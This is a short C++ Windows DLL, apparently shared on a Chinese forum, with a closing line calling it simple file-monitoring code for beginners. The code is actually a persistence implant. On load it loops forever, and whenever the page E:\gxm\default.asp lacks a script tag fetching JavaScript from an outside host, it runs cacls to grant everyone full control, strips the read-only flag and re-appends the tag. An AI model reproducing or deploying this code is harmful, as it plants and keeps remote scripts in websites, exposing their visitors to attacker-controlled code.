#include "stdafx.h"
#include "process.h"
#include "windows.h"
#include "string.h"
#include "iostream.h"
#include "fstream.h"
char path2[256]="E:\\gxm\\default.asp";
char guama[256]="\n<script language=javascript src=’http://www.gxm520.cn/tg.js’></script>";
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
{
while(1)
{
ifstream ifs(path2);
char FileContent[5000];
memset(FileContent,0,5000);//初始化FileContent
ifs.read(FileContent,5000);//读取数据
ifs.close();//关闭ifstream对像
if(strstr(FileContent,guama)==0)
{
char path1[256]="E:\\gxm\\default.asp "; //比变量path2多了一个空格
char mingling[256]="cacls ";
strcat(mingling,path1);
char ps[25]="/T /E /C /G everyone:F";
strcat(mingling,ps);
char mingling1[256]="cacls ";
strcat(mingling1,path1);
char pa[30]="/T /E /C /G administrator:F";
strcat(mingling1,pa);
system(mingling);
system(mingling1);
SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY);
ofstream outfile;
outfile.open(path2,ios::app);
if (!outfile)
{
exit(0);
}
outfile<<guama;
outfile.close();
}
Sleep(9000);
}
}
default:
return TRUE;
}
return TRUE;
}
简单的监控文件程序的代码而已,我也不知道别人是怎么写的,反正自己是这样想出来一点一点的写点,希望对我们一样菜的人有点帮助